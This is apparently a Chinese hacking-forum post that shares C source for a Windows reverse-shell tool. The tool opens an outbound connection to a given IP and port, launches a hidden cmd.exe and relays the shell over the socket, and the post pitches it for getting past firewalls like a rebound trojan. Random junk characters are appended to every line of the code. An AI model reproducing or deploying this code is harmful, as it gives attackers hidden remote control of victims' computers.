这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W\mgM2p
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/* ============================== ?$uEN_1O\@
Rebound port in Windows NT
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By wind,2006/7 m,J
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===============================*/ ,-8Xb+!8I
#include Nl/
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#include -#R`n'/
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); %M/L/_d
SOCKET sClient; <|]i3_Z
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5|>ms)[RQ
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void main(int argc,char **argv) eibkG
{ ~D`R"vzw=
WSADATA stWsaData; uFhPNR2l
int nRet; jTZi<
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SOCKADDR_IN stSaiClient,stSaiServer; VUP.
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if(argc != 3) q?)5yukeF
{ TU6YS<
printf("Useage:\n\rRebound DestIP DestPort\n"); aY;34SF
return; "gzn%k[D9m
} vu}U2 0@
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1zw,;m n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =<)/lz] H
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stSaiClient.sin_family = AF_INET; >Q ^ mR
stSaiClient.sin_port = htons(0); %cDDu$9;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W$&*i1<a+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?I:_FT
{ p]?eIovi
printf("Bind Socket Failed!\n"); gp~-n7'~O
return; rg#/kd<?[V
} zQt)>Qx_
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stSaiServer.sin_family = AF_INET; AW9%E/{
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DT6BFx
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rM6S%rS
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z|Xt'?9&n
{ Z0D&ayzkh^
printf("Connect Error!"); T nyLVIP
return; dVGcth;
} -em3 #V
OutputShell(); [nX{sM%
} -;RAW1]}Y$
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void OutputShell() d{(Rs.GuP
{ ;- Vs|X
char szBuff[1024]; hp}rCy|01
SECURITY_ATTRIBUTES stSecurityAttributes; {!{T,_ J
OSVERSIONINFO stOsversionInfo; /X#OX8gb]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I\rjw$V#
STARTUPINFO stStartupInfo; 9ao?\]&t
char *szShell; f(K1,L:&7
PROCESS_INFORMATION stProcessInformation; ;ByCtVm2
unsigned long lBytesRead; #q9BU:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Do^yer~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); upJy,|5
stSecurityAttributes.lpSecurityDescriptor = 0; }v?l0Gk(
stSecurityAttributes.bInheritHandle = TRUE; %?qzP'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f^5sJ0;%
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y2N$&]O{
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #-R]HLW*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N "eK9>
stStartupInfo.wShowWindow = SW_HIDE; vt5>>rl
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6O 2sa-{d
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GetVersionEx(&stOsversionInfo); "/UPq6
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switch(stOsversionInfo.dwPlatformId) rfZg
{ ^BI&-bR@
case 1: N5k9o:2
szShell = "command.com"; c]z^(:_>
break; 0&r}'f?
default: 8-b~p
szShell = "cmd.exe"; 6G-XZko~a
break; CaoQPb*
} &;GoCU Le
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T).}~i;!
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send(sClient,szMsg,77,0); g K dNgU
while(1) "[Tr"nI
{ Kj6+$l
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6e}T
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if(lBytesRead) A?)(^
{ nRX<$OzTV
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3z8zZ1uzU
send(sClient,szBuff,lBytesRead,0); l|9'l[}&
} f\~w!-
else xu;^F
{ }ASBP:c"t
lBytesRead=recv(sClient,szBuff,1024,0); kll,^A
if(lBytesRead<=0) break; /T6Te<68^
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'XSHl?+q
} !yV)EJ:$
} 15DlD`QV
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return; dQ<e}wtg
}